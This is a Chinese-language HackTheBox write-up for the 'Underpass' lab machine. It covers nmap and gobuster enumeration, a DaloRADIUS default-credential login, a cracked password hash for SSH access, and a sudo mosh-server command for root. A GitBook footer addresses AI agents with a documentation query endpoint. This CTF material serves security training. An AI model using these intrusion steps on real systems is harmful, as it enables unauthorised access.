> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/underpass-hackthebox-writeup.md).

# Underpass HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/641>" %}

{% hint style="warning" %}
**技能：**

* UDP 枚举
* 默认凭据（DaloRADIUS）
* 密码破解
* 通过 SUDO 提权（mosh-server）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/f3230e67c613348890b3ee3c9ad7f2e628ad7323" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/2deb47ad4a7cd31eb5d0cde30598e714e58f1893" alt="" width="563"><figcaption></figcaption></figure>

### TCP

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.48 -oG allPorts
```

<figure><img src="/files/03840a90d0e2f3ef9d369becd78d86c9c25048fa" alt=""><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,80 10.10.11.48 -oN targeted
```

<figure><img src="/files/b1b342baff87e789c9cc0a3d50b7c2b411386ebc" alt=""><figcaption></figcaption></figure>

### UDP

**最常用 UDP 端口扫描：**

我们对最常见的 100 个 UDP 端口进行扫描：

```bash
nmap -sU --top-ports 100 --open -vvv -n 10.10.11.48 -oG allPortsUDP
```

<figure><img src="/files/94daf2c1f4c518602ca5ded77f529afa3c33489a" alt=""><figcaption></figcaption></figure>

* 识别到的端口： **161, 1812, 1813**.

<figure><img src="/files/7e1af260e6ff4d541dad34d14d063fbf66fa4a2f" alt=""><figcaption></figcaption></figure>

**UDP 服务版本扫描：**/ 我们针对已识别的端口获取更多信息：

```bash
nmap -sUCV -p161,1812,1813 10.10.11.48 -oN targetedUDP
```

<figure><img src="/files/081de0a1d72be1341c4258661d4d827139a443a1" alt=""><figcaption></figcaption></figure>

**初步观察：**

* 域名 **underpass.htb** 的目录被发现。
* 一个名为 **DaloRADIUS** 被识别出来。

## CMS - **DaloRADIUS**

<figure><img src="/files/b7c59e7b9dbe770f177b4a3a5849ddcebbf5f88d" alt="" width="563"><figcaption></figcaption></figure>

**使用 Gobuster 扫描目录：**/ 我们浏览网站目录：

```bash
gobuster dir -u http://underpass.htb/daloradius/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

结果：一个名为 **`/app`** 的目录被发现。

<figure><img src="/files/f88a8e090b8abd9b65004edc2214afbd1313c138" alt=""><figcaption></figcaption></figure>

**子目录列表：**<br>

通过探索 **`/app`**，我们发现：

```bash
gobuster dir -u http://underpass.htb/daloradius/app/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/3fcc19b572901292facb301a5dc5ed3480aa3057" alt=""><figcaption></figcaption></figure>

* 一个 **用户登录页面**.

<figure><img src="/files/c72df6f3c7396c8f690ba3accc385babc7bc417a" alt=""><figcaption></figcaption></figure>

* 一个 **操作员登录页面**.

<figure><img src="/files/3652c8b74d11fb559e129eadc3b6c5ed3d18eaf3" alt=""><figcaption></figcaption></figure>

**使用 DaloRADIUS 默认凭据访问：**/ 通过测试 RADIUS 的默认凭据：

* **用户名：** `administrator`
* **密码：** `radius`/ 这些凭据可用于操作员面板。

<figure><img src="/files/66721ce08c35fd41cb83aa2c7f4adf858cbbb7cd" alt=""><figcaption></figcaption></figure>

### **敏感信息提取：**

在 **管理** 部分，我们发现一个 **username** 和一个 **密码哈希**:

* **用户：** `svcMosh`
* **哈希：** `412DD4759978ACFCC81DEAB01B382403`

<figure><img src="/files/0d729bc1dcd68e57fa5b251f2d3b7f15491763dd" alt=""><figcaption></figcaption></figure>

### **哈希破解：**<br>

我们使用 **CrackStation** 以解密该哈希：

{% embed url="<https://crackstation.net/>" %}

**解密后的密码：** `underwaterfriends`

<figure><img src="/files/a06dfd22cc9f2d410c92124e10ae9211e3b15b13" alt=""><figcaption></figcaption></figure>

**SSH 连接：**/ 使用这些凭据，我们通过 SSH 访问该机器：

```bash
ssh svcMosh@underpass.htb

underwaterfriends
```

<figure><img src="/files/ca94a0c5eb23ec5bbe8487262b4f82bafc2be6c9" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

### SUDO - Mosh-Server

通过使用 `sudo -l` 命令检查权限，我们发现用户 **svcMosh** 可以运行 **mosh-server** 二进制文件，并且无需输入密码即可获得管理员权限

```bash
sudo -l
```

<figure><img src="/files/ebc4de176374563257baf9cc2709db01a8fa41c1" alt=""><figcaption></figcaption></figure>

> 由于你可以选择以 **mosh-server** root 身份运行，你可以利用这一点与 **mosh** 列出文件内容，使用 **sudo** 以管理员身份运行服务器。

以下命令将以 root 权限运行 **mosh-server** ，然后与 **mosh** 客户端：

```bash
mosh --server="sudo /usr/bin/mosh-server" localhost
```

这将允许 **mosh** 连接到服务器 **mosh-server** 该服务器以 root 身份运行在 **localhost**。使用此方法，你将获得该机器的管理员权限访问。

<figure><img src="/files/b35bf3cf58ddb103534a8cc1644eb57296f6de12" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/b1a2490203c0979783b5adc1288960a74f4f6cd3" alt="" width="547"><figcaption></figcaption></figure>

<figure><img src="/files/89c72b2a722b4a0a1c95434d73860249962adbe4" alt="" width="522"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/underpass-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
